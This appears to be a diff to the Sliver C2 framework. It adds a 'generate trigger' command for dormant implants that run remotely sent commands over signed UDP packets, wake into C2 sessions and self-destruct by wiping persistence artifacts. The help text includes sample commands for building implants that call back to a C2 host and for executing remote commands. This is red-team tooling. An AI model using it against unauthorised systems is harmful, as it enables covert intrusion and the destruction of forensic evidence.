generateTriggerCmd := &cobra.Command{ + Use: consts.TriggerStr, + Short: "Generate a trigger-wake implant binary", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TriggerStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateTriggerCmd(cmd, con, args) + }, + } + + // Trigger-wake implants get all the normal implant flags. + coreImplantFlags("trigger", generateTriggerCmd) + compileImplantFlags("trigger", generateTriggerCmd) + coreImplantFlagCompletions(generateTriggerCmd, con) + + generateCmd.AddCommand(generateTriggerCmd) + generateInfoCmd := &cobra.Command{ Use: consts.CompilerInfoStr, Short: "Get information about the server's compiler", @@ -348,6 +364,18 @@ func coreImplantFlags(name string, cmd *cobra.Command) { f.Bool("include-tcp-pivot", false, "force include tcp-pivot transport") f.Bool("all-protocols", false, "force include all transport protocols") + // TTL deadman switch + triggerwake passive UDP wake/self-destruct listener. + // All optional. Setting --trigger-wake-bind implies IncludeTriggerWake=true. + // Setting --ttl > 0 implies TTLEnabled=true. Burn paths apply to both the + // TTL-fired and operator-fired self-destruct paths. + f.String("ttl", "", "implant self-destruct deadline (Go duration: e.g. 720h for 30 days). Empty = disabled") + f.StringSlice("ttl-burn-extra-path", nil, "extra path to wipe on burn (repeatable)") + f.StringSlice("ttl-burn-persistence", nil, "persistence artifact to remove on burn (repeatable; systemd unit / launchd plist / registry key)") + f.String("trigger-wake-bind", "", "implant-side triggerwake UDP bind address host:port (enables triggerwake)") + f.String("trigger-wake-secret-env", "", "name of operator-host env var holding the HMAC secret for triggerwake (preferred; no secret in argv)") + f.String("trigger-wake-secret", "", "HMAC secret for triggerwake (direct value; visible in ps — prefer --trigger-wake-secret-env)") + f.StringSlice("trigger-wake-allowed-client", nil, "client_id allowed to fire triggerwake tasks (repeatable; empty = any signed client)") + f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") f.BoolP("netgo", "q", false, "force the use of netgo") f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") diff --git a/client/command/generate/commands_test.go b/client/command/generate/commands_test.go index 1c9fb44d3e..7aa4ea17af 100644 --- a/client/command/generate/commands_test.go +++ b/client/command/generate/commands_test.go @@ -22,6 +22,58 @@ func TestGenerateSaveFlagCompletionRegistered(t *testing.T) { t.Fatalf("missing %q subcommand", consts.BeaconStr) } assertFlagHasDefaultFileCompletion(t, beaconCmd, "save") + + triggerCmd := commandByUse(generateCmd.Commands(), consts.TriggerStr) + if triggerCmd == nil { + t.Fatalf("missing %q subcommand", consts.TriggerStr) + } + assertFlagHasDefaultFileCompletion(t, triggerCmd, "save") +} + +func TestGenerateTriggerSubcommandRegistered(t *testing.T) { + cmds := Commands(&console.SliverClient{}) + + generateCmd := commandByUse(cmds, consts.GenerateStr) + if generateCmd == nil { + t.Fatalf("missing %q command", consts.GenerateStr) + } + + triggerCmd := commandByUse(generateCmd.Commands(), consts.TriggerStr) + if triggerCmd == nil { + t.Fatalf("missing %q subcommand under %q", consts.TriggerStr, consts.GenerateStr) + } + + // Trigger subcommand must have trigger-wake flags from coreImplantFlags. + for _, flagName := range []string{ + "trigger-wake-bind", + "trigger-wake-secret-env", + "trigger-wake-secret", + "trigger-wake-allowed-client", + "ttl", + } { + if triggerCmd.Flags().Lookup(flagName) == nil { + t.Errorf("trigger subcommand missing flag %q", flagName) + } + } + + // Trigger subcommand must have standard implant flags. + for _, flagName := range []string{ + "mtls", "os", "arch", "name", "format", "http", "dns", + } { + if triggerCmd.Flags().Lookup(flagName) == nil { + t.Errorf("trigger subcommand missing standard flag %q", flagName) + } + } + + // Trigger subcommand must NOT have beacon flags -- trigger implants + // always use session mode, never beacon mode. + for _, flagName := range []string{ + "seconds", "jitter", "days", "hours", "minutes", + } { + if triggerCmd.Flags().Lookup(flagName) != nil { + t.Errorf("trigger subcommand should NOT have beacon flag %q", flagName) + } + } } func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) { diff --git a/client/command/generate/generate-trigger.go b/client/command/generate/generate-trigger.go new file mode 100644 index 0000000000..42c9fbece5 --- /dev/null +++ b/client/command/generate/generate-trigger.go @@ -0,0 +1,117 @@ +package generate + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + ------------------------------------------------------------------------ + + generate trigger -- builds an implant with two operational modes, + both always baked in: + + 1. Ad-hoc exec: bidirectional UDP command execution. The operator + fires a signed "exec" packet; the implant runs the command and + returns output over UDP. No C2 channel required. + + 2. Wake session: on receipt of a signed "wake" packet, the implant + establishes an interactive SESSION (not a beacon) over its + configured C2 transports. For maximum flexibility, specify both + --mtls (TCP) and --wg (UDP) when generating the implant. + + Trigger implants never use beacon mode. IsBeacon is always false. + + This is a UX convenience wrapper around `generate --trigger-wake-bind ...` + that: + + * Requires --trigger-wake-bind (it is the whole point). + * Still accepts all standard generate flags (--mtls, --os, --arch, etc.). + * Forces IsBeacon=false -- no beacon mode for trigger implants. + * Provides clear help text describing the two-mode architecture. +*/ + +import ( + "os" + + "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" +) + +// GenerateTriggerCmd generates a trigger implant with two modes: ad-hoc command +// execution (returns output via UDP) and wake (establishes interactive callback +// session). The trigger-wake bind address is required; the implant starts +// dormant and only activates its C2 channel when a valid wake packet arrives. +// Beacon mode is never used -- IsBeacon is always false for trigger implants. +func GenerateTriggerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + // Validate that --trigger-wake-bind was provided. cobra's MarkFlagRequired + // would normally handle this, but since the flag is inherited from the + // shared coreImplantFlags set we enforce it here for clarity. + bindAddr, _ := cmd.Flags().GetString("trigger-wake-bind") + if bindAddr == "" { + con.PrintErrorf("--trigger-wake-bind is required for trigger implants\n") + con.PrintErrorf("Usage: generate trigger --trigger-wake-bind --mtls --wg [flags]\n") + return + } + + name, config := parseCompileFlags(cmd, con) + if config == nil { + return + } + spoofMetadata, err := parseSpoofMetadataFlag(cmd, config) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + // Trigger implants always use session mode, never beacon mode. + config.IsBeacon = false + + // Suggest both TCP and UDP transports if only one (or neither) is configured. + hasMTLS, _ := cmd.Flags().GetString("mtls") + hasWG, _ := cmd.Flags().GetString("wg") + if hasMTLS == "" && hasWG != "" { + con.PrintWarnf("Consider adding --mtls for TCP callback coverage alongside --wg (UDP)\n") + } else if hasMTLS != "" && hasWG == "" { + con.PrintWarnf("Consider adding --wg for UDP callback coverage alongside --mtls (TCP)\n") + } + + // Sanity: parseCompileFlags already handled trigger lifecycle flags + // via parseTriggerLifecycleFlags and set IncludeTriggerWake on the + // config. Double-check the invariant. + if !config.IncludeTriggerWake { + con.PrintErrorf("Internal error: trigger-wake was not enabled on the config despite --trigger-wake-bind being set\n") + return + } + + save, _ := cmd.Flags().GetString("save") + if save == "" { + save, _ = os.Getwd() + } + if external, _ := cmd.Flags().GetBool("external-builder"); !external { + compile(name, config, spoofMetadata, save, con) + } else { + _, err := externalBuild(name, config, spoofMetadata, save, con) + if err != nil { + switch err { + case ErrNoExternalBuilder: + con.PrintErrorf("There are no external builders currently connected to the server\n") + con.PrintErrorf("See 'builders' command for more information\n") + case ErrNoValidBuilders: + con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n") + con.PrintErrorf("See 'builders' command for more information\n") + default: + con.PrintErrorf("%s\n", err) + } + return + } + } +} diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 6abaf3e4df..386d6725ad 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -500,6 +500,16 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, * includeTCP = true } + // TTL deadman switch + triggerwake passive UDP wake/self-destruct listener. + // parseTriggerLifecycleFlags returns zero-values on disabled features so the + // rendered template's {{if .Config.TTLEnabled}} / {{if .Config.IncludeTriggerWake}} + // gates compile down to nothing. + lifecycle, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + con.PrintErrorf("%s\n", err.Error()) + return "", nil + } + // exports if its a shared library config := &clientpb.ImplantConfig{ @@ -551,6 +561,18 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, * IncludeDNS: includeDNS, IncludeNamePipe: includeNamedPipe, IncludeTCP: includeTCP, + + // Trigger / Wake / TTL — feature gates the implant template uses. + // TTLExpiresAtUnix is populated server-side from TTLMinutes at build time + // so the burned-in deadline is computed from "now" at every build. + IncludeTriggerWake: lifecycle.includeTriggerWake, + TriggerWakeBindAddr: lifecycle.triggerWakeBindAddr, + TriggerWakeSecret: lifecycle.triggerWakeSecret, + TriggerWakeAllowedClientIDs: lifecycle.triggerWakeAllowedClientIDs, + TTLEnabled: lifecycle.ttlEnabled, + TTLMinutes: lifecycle.ttlMinutes, + TTLBurnExtraPaths: lifecycle.burnExtraPaths, + TTLBurnPersistence: lifecycle.burnPersistence, } return name, config diff --git a/client/command/generate/trigger_lifecycle_flags.go b/client/command/generate/trigger_lifecycle_flags.go new file mode 100644 index 0000000000..a315060c20 --- /dev/null +++ b/client/command/generate/trigger_lifecycle_flags.go @@ -0,0 +1,186 @@ +package generate + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + ------------------------------------------------------------------------ + + parseTriggerLifecycleFlags is the operator-side parser for the + Phase 2 implant lifecycle flags: + + --ttl enable TTL deadman switch + --ttl-burn-extra-path repeatable; wipe these on burn + --ttl-burn-persistence repeatable; persistence artifact + to wipe on burn (systemd unit + path / launchd plist / + registry key) + --trigger-wake-bind enable passive UDP wake listener + --trigger-wake-secret-env read HMAC secret from this env + var on the OPERATOR host + (avoids secret-in-argv) + --trigger-wake-secret pass HMAC secret directly + (visible in ps; prefer -env) + --trigger-wake-allowed-client repeatable; client_id allowlist + + When neither --trigger-wake-secret-env nor --trigger-wake-secret is + provided (and --trigger-wake-bind IS set), the operator is prompted + for the secret on stdin (masked on TTY, single-line when piped). + + Output is a flat struct copied into the ImplantConfig at the call + site. The struct is unexported because nothing outside this package + consumes it directly; callers receive zero-value fields for disabled + features so the template gates compile down to nothing. +*/ + +import ( + "errors" + "fmt" + "math" + "net" + "strings" + "time" + + "github.com/bishopfox/sliver/client/secretinput" + "github.com/spf13/cobra" +) + +// triggerLifecycleFlags carries the parsed --ttl / --trigger-wake-* values. +// Field names match the ImplantConfig proto fields they populate. +type triggerLifecycleFlags struct { + ttlEnabled bool + ttlMinutes uint32 + burnExtraPaths []string + burnPersistence []string + includeTriggerWake bool + triggerWakeBindAddr string + triggerWakeSecret []byte + triggerWakeAllowedClientIDs []string +} + +// parseTriggerLifecycleFlags reads the trigger / TTL flags off cmd and +// returns a validated triggerLifecycleFlags. Returns an error (and the +// caller surfaces it via con.PrintErrorf) for any combination that +// would produce an unusable implant — e.g. --trigger-wake-bind set +// without any secret source. +// +// Secret resolution uses the three-tier hierarchy: +// 1. --trigger-wake-secret-env ENVVAR (preferred; no secret in argv) +// 2. --trigger-wake-secret VALUE (direct; ps-visible warning emitted) +// 3. stdin prompt (masked on TTY, line-read when piped) +// +// All flags are optional; with none set the returned struct is the +// zero value and the corresponding template gates are off. +func parseTriggerLifecycleFlags(cmd *cobra.Command) (triggerLifecycleFlags, error) { + out := triggerLifecycleFlags{} + + // ---- TTL ---- + ttlStr, _ := cmd.Flags().GetString("ttl") + burnExtra, _ := cmd.Flags().GetStringSlice("ttl-burn-extra-path") + burnPersist, _ := cmd.Flags().GetStringSlice("ttl-burn-persistence") + + if strings.TrimSpace(ttlStr) != "" { + dur, err := time.ParseDuration(strings.TrimSpace(ttlStr)) + if err != nil { + return out, fmt.Errorf("--ttl: %w (use Go duration syntax, e.g. 720h for 30 days)", err) + } + if dur <= 0 { + return out, errors.New("--ttl must be a positive duration") + } + // Minimum cadence inside the watchdog is 1 minute; sub-minute TTLs + // would over-shoot. Reject them at parse time so the operator sees + // the error before the build kicks off. + if dur < time.Minute { + return out, fmt.Errorf("--ttl must be at least 1 minute (got %s)", dur) + } + mins := dur.Round(time.Minute) / time.Minute + if mins > math.MaxUint32 { + return out, fmt.Errorf("--ttl too large (max ~8000 years)") + } + out.ttlEnabled = true + out.ttlMinutes = uint32(mins) + } + + // Burn paths apply to both the TTL-fired and the operator-fired + // self-destruct paths (triggerwake "self-destruct" task reuses + // the same burn.Options). So they're allowed independently of --ttl. + out.burnExtraPaths = filterEmpty(burnExtra) + out.burnPersistence = filterEmpty(burnPersist) + + // ---- triggerwake ---- + bindAddr, _ := cmd.Flags().GetString("trigger-wake-bind") + secretEnv, _ := cmd.Flags().GetString("trigger-wake-secret-env") + directSecret, _ := cmd.Flags().GetString("trigger-wake-secret") + directSecretChanged := cmd.Flags().Changed("trigger-wake-secret") + allowedClients, _ := cmd.Flags().GetStringSlice("trigger-wake-allowed-client") + + bindAddr = strings.TrimSpace(bindAddr) + secretEnv = strings.TrimSpace(secretEnv) + + // Determine if any triggerwake-related flag was explicitly set. + anyTriggerFlag := bindAddr != "" || secretEnv != "" || directSecretChanged || len(allowedClients) > 0 + + switch { + case !anyTriggerFlag: + // triggerwake fully off — leave zero values. + case bindAddr == "": + return out, errors.New("--trigger-wake-secret-env / --trigger-wake-secret / --trigger-wake-allowed-client require --trigger-wake-bind") + default: + if _, _, err := net.SplitHostPort(bindAddr); err != nil { + return out, fmt.Errorf("--trigger-wake-bind: %w (want host:port)", err) + } + // Three-tier secret resolution via secretinput.Resolve. + secret, err := secretinput.Resolve( + secretEnv, + directSecret, + directSecretChanged, + "--trigger-wake-secret", + "trigger-wake HMAC secret", + func(format string, args ...any) { + fmt.Fprintf(cmd.ErrOrStderr(), format, args...) + }, + ) + if err != nil { + return out, err + } + if err := secretinput.ValidateForTemplate(secret); err != nil { + return out, err + } + + out.includeTriggerWake = true + out.triggerWakeBindAddr = bindAddr + out.triggerWakeSecret = secret + out.triggerWakeAllowedClientIDs = filterEmpty(allowedClients) + } + + return out, nil +} + +// filterEmpty drops empty / whitespace-only entries. cobra's StringSlice +// can produce `[""]` when the user passes `--flag ""` explicitly; the +// template doesn't filter, so we do it here. +func filterEmpty(xs []string) []string { + if len(xs) == 0 { + return nil + } + out := make([]string, 0, len(xs)) + for _, x := range xs { + if s := strings.TrimSpace(x); s != "" { + out = append(out, s) + } + } + if len(out) == 0 { + return nil + } + return out +} diff --git a/client/command/generate/trigger_lifecycle_flags_test.go b/client/command/generate/trigger_lifecycle_flags_test.go new file mode 100644 index 0000000000..bda69ee7e9 --- /dev/null +++ b/client/command/generate/trigger_lifecycle_flags_test.go @@ -0,0 +1,264 @@ +package generate + +/* + Tests for parseTriggerLifecycleFlags — the operator-side parser + for the Phase 2 implant lifecycle flags. Pure-Go, no console / RPC. +*/ + +import ( + "bytes" + "strings" + "testing" + "time" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// newTestCmd attaches the same flags coreImplantFlags adds (for the +// lifecycle subset only — we don't need every flag for these tests). +func newTestCmd() *cobra.Command { + cmd := &cobra.Command{Use: "test"} + cmd.SetOut(&bytes.Buffer{}) + cmd.SetErr(&bytes.Buffer{}) + f := cmd.Flags() + f.String("ttl", "", "") + f.StringSlice("ttl-burn-extra-path", nil, "") + f.StringSlice("ttl-burn-persistence", nil, "") + f.String("trigger-wake-bind", "", "") + f.String("trigger-wake-secret-env", "", "") + f.String("trigger-wake-secret", "", "") + f.StringSlice("trigger-wake-allowed-client", nil, "") + return cmd +} + +func mustSet(t *testing.T, f *pflag.FlagSet, name, value string) { + t.Helper() + if err := f.Set(name, value); err != nil { + t.Fatalf("flag set %s=%q: %v", name, value, err) + } +} + +func TestParseTriggerLifecycleFlags_AllOff(t *testing.T) { + cmd := newTestCmd() + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if out.ttlEnabled || out.includeTriggerWake || out.ttlMinutes != 0 || + out.triggerWakeBindAddr != "" || out.triggerWakeSecret != nil || + len(out.burnExtraPaths) != 0 || len(out.burnPersistence) != 0 || + len(out.triggerWakeAllowedClientIDs) != 0 { + t.Fatalf("expected zero-value struct, got %+v", out) + } +} + +func TestParseTriggerLifecycleFlags_TTLHappyPath(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl", "720h") // 30 days + mustSet(t, cmd.Flags(), "ttl-burn-extra-path", "/tmp/foo") + mustSet(t, cmd.Flags(), "ttl-burn-extra-path", "/tmp/bar") + mustSet(t, cmd.Flags(), "ttl-burn-persistence", "/etc/systemd/system/x.service") + + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !out.ttlEnabled { + t.Fatalf("ttlEnabled = false, want true") + } + if got, want := out.ttlMinutes, uint32(720*60); got != want { + t.Fatalf("ttlMinutes = %d, want %d", got, want) + } + if got, want := strings.Join(out.burnExtraPaths, ","), "/tmp/foo,/tmp/bar"; got != want { + t.Fatalf("burnExtraPaths = %q, want %q", got, want) + } + if got, want := strings.Join(out.burnPersistence, ","), "/etc/systemd/system/x.service"; got != want { + t.Fatalf("burnPersistence = %q, want %q", got, want) + } +} + +func TestParseTriggerLifecycleFlags_TTLBadDuration(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl", "30d") // Go's time.ParseDuration doesn't support 'd' + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil { + t.Fatalf("expected error for bad duration syntax") + } +} + +func TestParseTriggerLifecycleFlags_TTLTooSmall(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl", "30s") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "at least 1 minute") { + t.Fatalf("expected at-least-1-minute error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_TTLNegative(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl", "-1h") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil { + t.Fatalf("expected error for non-positive duration") + } +} + +func TestParseTriggerLifecycleFlags_BurnPathsWithoutTTL(t *testing.T) { + // Burn paths apply to both TTL-fired and operator-fired self-destruct, + // so they're allowed without --ttl. + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl-burn-extra-path", "/tmp/x") + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if out.ttlEnabled { + t.Fatalf("ttlEnabled should be false") + } + if len(out.burnExtraPaths) != 1 || out.burnExtraPaths[0] != "/tmp/x" { + t.Fatalf("burnExtraPaths = %v, want [/tmp/x]", out.burnExtraPaths) + } +} + +func TestParseTriggerLifecycleFlags_TriggerWakeHappyPath(t *testing.T) { + t.Setenv("TRIGGERWAKE_SECRET_TEST", "deadbeef-secret-32-bytes-or-more") + + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "0.0.0.0:46290") + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "TRIGGERWAKE_SECRET_TEST") + mustSet(t, cmd.Flags(), "trigger-wake-allowed-client", "ops-alice") + mustSet(t, cmd.Flags(), "trigger-wake-allowed-client", "ops-bob") + + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !out.includeTriggerWake { + t.Fatalf("includeTriggerWake = false, want true") + } + if out.triggerWakeBindAddr != "0.0.0.0:46290" { + t.Fatalf("triggerWakeBindAddr = %q", out.triggerWakeBindAddr) + } + if string(out.triggerWakeSecret) != "deadbeef-secret-32-bytes-or-more" { + t.Fatalf("triggerWakeSecret = %q", string(out.triggerWakeSecret)) + } + if got, want := strings.Join(out.triggerWakeAllowedClientIDs, ","), "ops-alice,ops-bob"; got != want { + t.Fatalf("allowed = %q, want %q", got, want) + } +} + +func TestParseTriggerLifecycleFlags_TriggerWakeDirectSecret(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "0.0.0.0:46290") + mustSet(t, cmd.Flags(), "trigger-wake-secret", "direct-hmac-value") + + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !out.includeTriggerWake { + t.Fatalf("includeTriggerWake = false, want true") + } + if string(out.triggerWakeSecret) != "direct-hmac-value" { + t.Fatalf("triggerWakeSecret = %q, want %q", string(out.triggerWakeSecret), "direct-hmac-value") + } +} + +func TestParseTriggerLifecycleFlags_EnvTakesPrecedenceOverDirect(t *testing.T) { + t.Setenv("TRIGGERWAKE_PREC_TEST", "from-env-var") + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "0.0.0.0:46290") + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "TRIGGERWAKE_PREC_TEST") + mustSet(t, cmd.Flags(), "trigger-wake-secret", "from-direct") + + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(out.triggerWakeSecret) != "from-env-var" { + t.Fatalf("env should take precedence: got %q, want %q", string(out.triggerWakeSecret), "from-env-var") + } +} + +func TestParseTriggerLifecycleFlags_TriggerWakeSecretEnvUnset(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "0.0.0.0:46290") + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "PROBABLY_NOT_SET_4F8E2A") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "is not set") { + t.Fatalf("expected env-not-set error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_TriggerWakeSecretEnvEmpty(t *testing.T) { + t.Setenv("TRIGGERWAKE_EMPTY", "") + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "0.0.0.0:46290") + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "TRIGGERWAKE_EMPTY") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "empty") { + t.Fatalf("expected env-empty error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_TriggerWakeBadBind(t *testing.T) { + t.Setenv("TRIGGERWAKE_OK", "secret") + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-bind", "not-a-host-port") + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "TRIGGERWAKE_OK") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "--trigger-wake-bind") { + t.Fatalf("expected bind-format error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_AllowedClientWithoutBind(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-allowed-client", "ops-alice") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "require --trigger-wake-bind") { + t.Fatalf("expected bind-required error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_SecretEnvWithoutBind(t *testing.T) { + t.Setenv("TRIGGERWAKE_NOBIND", "some-secret") + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-secret-env", "TRIGGERWAKE_NOBIND") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "require --trigger-wake-bind") { + t.Fatalf("expected bind-required error, got %v", err) + } +} + +func TestParseTriggerLifecycleFlags_DirectSecretWithoutBind(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "trigger-wake-secret", "orphan-secret") + _, err := parseTriggerLifecycleFlags(cmd) + if err == nil || !strings.Contains(err.Error(), "require --trigger-wake-bind") { + t.Fatalf("expected bind-required error, got %v", err) + } +} + +// Sanity: the computed TTLMinutes value, fed into the server-side +// `now + minutes*time.Minute` formula, should give a time within one +// minute of the duration the operator originally requested. +func TestParseTriggerLifecycleFlags_TTLRoundTrip(t *testing.T) { + cmd := newTestCmd() + mustSet(t, cmd.Flags(), "ttl", "2h30m") + out, err := parseTriggerLifecycleFlags(cmd) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + want := 2*time.Hour + 30*time.Minute + got := time.Duration(out.ttlMinutes) * time.Minute + diff := got - want + if diff < 0 { + diff = -diff + } + if diff > time.Minute { + t.Fatalf("round-trip drift %v > 1m (want=%v got=%v)", diff, want, got) + } +} diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index de8aa6a1eb..d4939ef65c 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -45,8 +45,10 @@ var ( consts.BackgroundStr: backgroundHelp, consts.InfoStr: infoHelp, consts.UseStr: useHelp, - consts.GenerateStr: generateHelp, - consts.StageListenerStr: stageListenerHelp, + consts.GenerateStr: generateHelp, + consts.GenerateStr + sep + consts.TriggerStr: generateTriggerHelp, + consts.TriggersStr: triggersHelp, + consts.StageListenerStr: stageListenerHelp, consts.MsfStr: msfHelp, consts.MsfInjectStr: msfInjectHelp, @@ -268,6 +270,77 @@ Due to the large number of options and C2s this can be a lot of typing. If you'd see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles" command. ` + generateTriggerHelp = `[[.Bold]]Command:[[.Normal]] generate trigger +[[.Bold]]About:[[.Normal]] Generate a trigger implant with two operational modes, both always baked in: + + 1. [[.Bold]]Ad-hoc exec[[.Normal]] -- bidirectional UDP command execution. Fire a signed "exec" packet; + the implant runs the command and returns output over UDP. No C2 session required. + + 2. [[.Bold]]Wake session[[.Normal]] -- on receipt of a signed "wake" packet, the implant establishes + an interactive SESSION (not a beacon) over its configured C2 transports. + +Trigger implants do NOT support beacon mode. Wake always establishes a full interactive session. + +[[.Bold]][[.Underline]]++ Transport Options ++[[.Normal]] + --mtls TCP callback (mTLS). Reliable, works through most NAT/firewalls. + --wg UDP callback (WireGuard). Lower overhead, works well for UDP-friendly networks. + +For maximum flexibility, specify BOTH transports so the implant can use TCP or UDP for the +wake callback depending on network conditions: + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET \ + --mtls c2.example.com --wg c2.example.com:9090 + +[[.Bold]][[.Underline]]++ Basic Usage ++[[.Normal]] +Generate a trigger implant with TCP callback: + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET --mtls c2.example.com + +Generate a trigger implant with UDP callback: + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET --wg c2.example.com:9090 + +Generate a trigger implant with both TCP and UDP callbacks (recommended): + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET \ + --mtls c2.example.com --wg c2.example.com:9090 + +[[.Bold]][[.Underline]]++ Secret Resolution ++[[.Normal]] +The HMAC secret used to authenticate trigger packets is resolved in this order: + 1. --trigger-wake-secret-env ENVVAR Read from an environment variable on the operator host (preferred; no secret in argv). + 2. --trigger-wake-secret VALUE Pass the secret directly (visible in ps; use --trigger-wake-secret-env instead). + 3. Interactive prompt If neither flag is set, you are prompted on stdin (masked on TTY). + +[[.Bold]][[.Underline]]++ Access Control ++[[.Normal]] +Restrict which client_ids are allowed to send trigger packets: + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET \ + --trigger-wake-allowed-client ops-alice --trigger-wake-allowed-client ops-bob \ + --mtls c2.example.com --wg c2.example.com:9090 + +[[.Bold]][[.Underline]]++ TTL Deadman Switch ++[[.Normal]] +Combine with --ttl to set a self-destruct deadline: + generate trigger --trigger-wake-bind 0.0.0.0:46290 --trigger-wake-secret-env TRIGGER_SECRET \ + --ttl 720h --ttl-burn-extra-path /tmp/payload --mtls c2.example.com + +[[.Bold]][[.Underline]]++ All Generate Flags ++[[.Normal]] +This subcommand accepts all flags from 'generate' (--os, --arch, --format, --mtls, --wg, --http, etc.). +Beacon flags (--seconds, --jitter, etc.) are NOT available -- trigger implants always wake into sessions. +` + + triggersHelp = `[[.Bold]]Command:[[.Normal]] triggers +[[.Bold]]About:[[.Normal]] List all generated trigger implants (builds with triggerwake enabled). + +Displays an indexed table of trigger implants, similar to how 'beacons' lists active beacons. +The index can be used with 'trigger send ' to fire trigger packets without +manually specifying the target IP, port, and secret. + +[[.Bold]][[.Underline]]++ Subcommands ++[[.Normal]] + triggers target Associate a target IP with a trigger implant by index. + The mapping is stored client-side in ~/.sliver-client/triggers.json. + +[[.Bold]][[.Underline]]++ Examples ++[[.Normal]] + triggers List all trigger implants with their index, name, port, etc. + triggers target 1 192.168.1.42 Store target IP for trigger at index 1. + trigger send 1 wake Send a wake packet to trigger #1 (uses stored target + build config). + trigger send 1 exec --payload "whoami" Execute a command on trigger #1. +` + stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener [[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile. [[.Bold]]Examples:[[.Normal]] diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index c197014f97..aec60e2430 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -189,5 +189,124 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", 